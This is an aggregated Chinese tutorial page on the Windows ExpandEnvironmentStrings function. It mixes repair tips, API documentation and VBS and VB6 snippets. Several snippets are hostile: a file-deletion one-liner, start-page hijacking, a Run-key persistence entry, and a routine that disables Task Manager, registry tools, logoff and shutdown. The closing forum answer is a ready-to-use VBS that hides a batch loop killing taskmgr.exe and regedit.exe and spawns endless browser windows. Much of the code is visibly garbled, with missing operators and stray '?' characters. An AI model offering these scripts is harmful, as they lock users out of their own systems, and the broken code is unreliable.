包含expandenvironmentstrings的词条

http://www.itjxue.com  2023-01-22 08:55  来源:未知  点击次数: 

无法定位程序输入点ExpandEnvironmentstringsv于动态链接库KERNEL32.dll上

kernel32.dll是重要的系统文件,可能这个文件有所损坏,需要修复。 插入你的系统盘,假设是F盘,重新启动或用光盘引导进故障恢复控制台,依次运行如下命令:(不包括引号和括号的内容) "c: cd windows\system32. ren kernel32.dll kernel32.bak(改名) Expand f:\i386\kernel32.dll c:\windows\system32\(替换)" 重新启动即可。 如果没有系统光盘,可以到别人的机器上复制kernel32.dll,然后下载MAXDOS工具包安装,重新启动进入纯DOS替换修复。 上面的cd windows就是进入WINDOWS目录

在桌面上建立应用程序的快捷方式

方法一:点击“开始”找到某一程序,直接将图标拖动到桌面上(本文以Foxmail为例),那么就生成了桌面快捷方式。而且原程序图标在所有应用中还是存在的,这点与Win7有很大不同。

方式二:在桌面空白处点击鼠标右键,选择新建---快捷方式,打开创建快捷方式对话框。

方式三:直接找到应用程序所在文件夹,找到程序图标点击右键---发送到---桌面快捷方式。

没有文件扩展 vbs 的脚本引擎 windows script host

可能是你的VBS脚本服务在注册表中出错了,原因可能是卸载或安装一些代码不规范的程序引起的。

解决方法:

1、找到文件: C:\WINDOWS\inf\wsh.inf,右键“安装”

2、开始→运行行里输入: regsvr32 urlmon.dll shdocvw.dll jscript.dll vbscript.dll /s

进行以上两个步骤即可解决

扩展资料:

常用VBS脚本

1、VBS获取系统安装路径

/*先定义这个变量是获取系统安装路径的,然后我们用“strWinDir”调用这个变量。*/

setWshShell = WScript.CreateObject("WScript.Shell")

strWinDir= WshShell.ExpandEnvironmentStrings("%WinDir%")

2、VBS获取C:/Program Files路径

msgbox ?CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

3、VBS获取C:/Program Files/Common Files路径

msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

4、给桌面添加网址快捷方式

setgangzi = WScript.CreateObject("WScript.Shell")

strDesktop= gangzi.SpecialFolders("Desktop")

setoShellLink = gangzi.CreateShortcut(strDesktop "/InternetExplorer.lnk")

oShellLink.TargetPath= ""

oShellLink.Description= "Internet Explorer"

oShellLink.IconLocation= "%ProgramFiles%/Internet Explorer/iexplore.exe, 0"

oShellLink.Save

5、给收藏夹添加网址

ConstADMINISTRATIVE_TOOLS = 6

SetobjShell = CreateObject("Shell.Application")

SetobjFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

SetobjFolderItem = objFolder.Self

SetobjShell = WScript.CreateObject("WScript.Shell")

strDesktopFld= objFolderItem.Path

SetobjURLShortcut = objShell.CreateShortcut(strDesktopFld "/奋斗Blog.url")

objURLShortcut.TargetPath= ""

objURLShortcut.Save

6、删除指定目录指定后缀文件

OnError Resume Next

Setfso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile"C:/*.vbs", True

Setfso = Nothing

7、VBS改主页

SetoShell = CreateObject("WScript.Shell")

oShell.RegWrite? "HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/Main/Start Page",""

8、VBS加启动项

SetoShell=CreateObject("Wscript.Shell")

oShell.RegWrite"HKLM/Software/Microsoft/Windows/CurrentVersion/Run/cmd","cmd.exe"

9、VBS复制自己

setcopy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("c:/huan.vbs")

setcopy1=createobject("scripting.filesystemobject")

copy1.getfile("game.exe").copy("c:/gangzi.exe")

/*复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)*/

参考资料:

VBS——百度百科

VBS删除含有环境变量的目录及其子目录

Windows 脚本宿主

ExpandEnvironmentStrings 方法

请参阅

WshShell

对象

语言

JScript

VBScript

显示所有语言

返回环境变量的扩展值。

object.ExpandEnvironmentStrings(strString)

参数

object

WshShell 对象。

strString

表示要扩展的环境变量名的字符串值。

说明

ExpandEnvironmentStrings 方法只扩展在 PROCESS 环境中定义的环境变量。环境变量名不区分大小写,其前后必须有 "%"

字符。

示例

下面的代码扩展 Windows Directory 环境变量,并在消息框中显示它。

[VBScript]

set WshShell = WScript.CreateObject("WScript.Shell")

WScript.Echo "WinDir is " WshShell.ExpandEnvironmentStrings("%WinDir%")

[JScript]

var WshShell = WScript.CreateObject("WScript.Shell");

WScript.Echo("WinDir is " + WshShell.ExpandEnvironmentStrings("%WinDir%"));

请参阅

WshShell 对象

EXE 自启动代码

随系统自启动:

窗体(Form1)代码:

'在窗体中添加一个CheckBox控件,控件名为:CheckBox1

Dim aa As String

Dim SystemPath As String

Private Sub Form_Load()

RegReadValue H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "[zhan1616(小丑)]", 1, aa

SystemPath = App.Path

If Right(SystemPath, 1) "\" Then SystemPath = SystemPath + "\"

If aa = SystemPath + App.EXEName + ".EXE" Then Check1.Value = 1 Else Check1.Value = 0

End Sub

Private Sub Check1_Click()

On Error Resume Next

If Check1.Value = 0 Then

RegDeleteKeyName HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "[zhan1616(小丑)]"

Else

RegSaveStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "[zhan1616(小丑)]", oString, SystemPath + App.EXEName + ".EXE"

End If

End Sub

模块中的代码:

Option Explicit

Dim REG_DWORD

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function ExpandEnvironmentStrings Lib "kernel32" Alias "ExpandEnvironmentStringsA" (ByVal lpSrc As String, ByVal lpDst As String, ByVal nSize As Long) As Long

Public Declare Function RegQueryValue Lib "advapi32.dll" Alias "RegQueryValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As Long

Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long

Public Const SPI_SCREENSAVERRUNNING = 97

Public Type OSVERSIONINFO

dwOSVersionInfoSize As Long

dwMajorVersion As Long

dwMinorVersion As Long

dwBuildNumber As Long

dwPlatformId As Long

szCSDVersion(1 To 128) As Byte

End Type

Public Const VER_PLATFORM_WIN32_NT = 2

Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Public Enum ohKey

HKEY_CLASSES_ROOT = H80000000

HKEY_CURRENT_CONFIG = H80000005

HKEY_CURRENT_USER = H80000001

HKEY_DYN_DATA = H80000006

HKEY_LOCAL_MACHINE = H80000002

HKEY_USERS = H80000003

End Enum

'读取字符串变量

Public Enum OpTypeString

oString = 1 '字符串

oExpandSZ = 2 '展开式字符串

oLongData = 7 '多重字符串

End Enum

Public Enum OpTypeNumber

oLong = 4 '长整型

oBinary = 3 'Binary数据

oBigEndian = 5 'Big Endian长整数

End Enum

Sub SaveStringWORD(hKey As ohKey, strPath As String, strValue As String, strData As String)

Dim ret

RegCreateKey hKey, strPath, ret

RegSetValueEx ret, strValue, 0, REG_DWORD, CLng(strData), 4

RegCloseKey ret

End Sub

Sub SaveStringSZ(hKey As ohKey, strPath As String, strValue As String, strData As String)

Dim ret

RegCreateKey hKey, strPath, ret

RegSetValueEx ret, strValue, 0, 1, ByVal strData, LenB(StrConv(strData, vbFromUnicode))

RegCloseKey ret

End Sub

'控制系统功能

Public Sub OptReg(ByVal RegValue As String)

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoRun", RegValue '禁用运行

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableTaskMgr", RegValue '任务管理器

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoLogoff", RegValue '注销

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoClose", RegValue '关机

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableLockWorkstation", RegValue '锁定计算机

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableRegistryTools", RegValue '注册表

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\system", "DisableChangePassword", RegValue '更改密码

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\system", "NoVirtMemPage", RegValue '

SaveStringWORD H80000001, "software\microsoft\windows\currentversion\policies\Explorer", "NoSetFolders", RegValue '控制面板

End Sub

Public Function RegReadValue(mhKey As ohKey, lpSubKey As String, hKeyName As String, hValueType As Long, hKeyValue As String) As Boolean

'读取数据

'mhKey是指主键的名称,lpSubKey是指路径,hKeyName是指键名,hValueType是指键值的数据类型,hKeyValue是指数据

Dim i

Dim hKey As Long, ret As Long, lenData As Long

ret = RegOpenKey(mhKey, lpSubKey, hKey)

If ret = 0 Then

RegReadValue = True

'读取数据类型

ret = RegQueryValueEx(hKey, hKeyName, 0, hValueType, ByVal vbNullString, lenData)

Select Case hValueType

Case OpTypeString.oExpandSZ, OpTypeString.oLongData, OpTypeString.oString

'如果是字符型

Dim s As String, s2 As String

s = String(lenData, Chr(0))

RegQueryValueEx hKey, hKeyName, 0, hValueType, ByVal s, lenData

Select Case hValueType

Case OpTypeString.oString '如果是字符串

hKeyValue = Left(s, InStr(s, Chr(0)) - 1)

Case OpTypeString.oExpandSZ '如果是展开式字符串

s2 = String(Len(s) + 256, Chr(0))

ExpandEnvironmentStrings s, s2, Len(s2)

hKeyValue = Left(s2, InStr(s2, Chr(0)) - 1)

Case OpTypeString.oLongData '如果是多重字符串

hKeyValue = Left(s, Len(s) - 1)

End Select

Case OpTypeNumber.oBigEndian, OpTypeNumber.oLong

'如果是长整型

Dim l As Long

RegQueryValueEx hKey, hKeyName, 0, hValueType, l, lenData

hKeyValue = CStr(l)

Case OpTypeNumber.oBinary

'如果是二进制型

ReDim bArr(0 To lenData - 1) As Byte

RegQueryValueEx hKey, hKeyName, 0, hValueType, bArr(0), lenData

For i = 1 To lenData - 1

hKeyValue = hKeyValue + Hex(bArr(i))

Next i

End Select

Else

RegReadValue = False

End If

RegCloseKey hKey '删除打开的键值,释放内存

End Function

Public Function RegSaveStringValue(mhKey As ohKey, lpSubKey As String, hKeyName As String, hValueType As OpTypeString, hKeyValue As String) As Boolean

'写入字符串型数据

'mhKey是指主键的名称,lpSubKey是指路径,hKeyName是指键名,hValueType是指键值的数据类型,hKeyValue是指数据

Dim hKey As Long, ret As Long, retk As Long, cbData As Long '声明变量

hKeyValue = hKeyValue + Chr(0)

RegSaveStringValue = False

cbData = LenB(StrConv(hKeyValue, vbFromUnicode)) '读取字符串的实际长度

ret = RegCreateKey(mhKey, lpSubKey, hKey) '如果人打开这个主键,没有则创建该主键

If ret = 0 Then

If RegSetValueEx(hKey, hKeyName, 0, hValueType, ByVal hKeyValue, cbData) = 0 Then

RegSaveStringValue = True '成功则返回真值

End If

End If

RegCloseKey hKey '删除打开的键值,释放内存

End Function

Public Function RegDeleteKeyName(mhKey As ohKey, SubKey As String, hKeyName As String) As Boolean

'删除子键数据

'mhKey是指主键的名称,SubKey是指路径,hKeyName是指键名

Dim hKey As Long, ret As Long

ret = RegOpenKey(mhKey, SubKey, hKey)

RegDeleteKeyName = False

If ret = 0 Then

If RegDeleteValue(hKey, hKeyName) = 0 Then RegDeleteKeyName = True

End If

RegCloseKey hKey '删除打开的键值,释放内存

End Function

'然后你把CheckBox打勾后程序即可随系统启动

批处理中,什么命令可以让批处理无法关闭

你干脆用vbs吧。。批处理永远可以关闭的。

代码给你!!

Dim?fso,ws,temp,script,wri

Set?fso=Wscript.CreateObject("Scripting.FileSystemObject")

Set?ws=Wscript.CreateObject("Wscript.Shell")

temp=ws.ExpandEnvironmentStrings("%Temp%")

script=temp??"\NotOpenTaskmgr.bat"

'File

if?fso.FileExists(script)?Then

fso.DeleteFile(script)

End?if

Set?wri=fso.CreateTextFile(script,True)

wri.WriteLine("@echo?off")

wri.WriteLine(":loop")

wri.WriteLine("taskkill?/f?/t?/im?taskmgr.exe")

wri.WriteLine("taskkill?/f?/t?/im?regedit.exe")

wri.Write("cls??goto?loop")

wri.Close

fso.GetFile(script).Attributes=2

ws.run?"cmd.exe?/c?"+Chr(34)??script??Chr(34),0

Do

ws.run?"C:\Program?Files\Internet?Explorer\iexplore.exe"

Loop

使用方法:像bat那样,创建一个文本文档,然后把代码复制进去,改后缀为*.vbs,然后保存即可。采纳啊。

(责任编辑:IT教学网)

更多

推荐网络媒体文章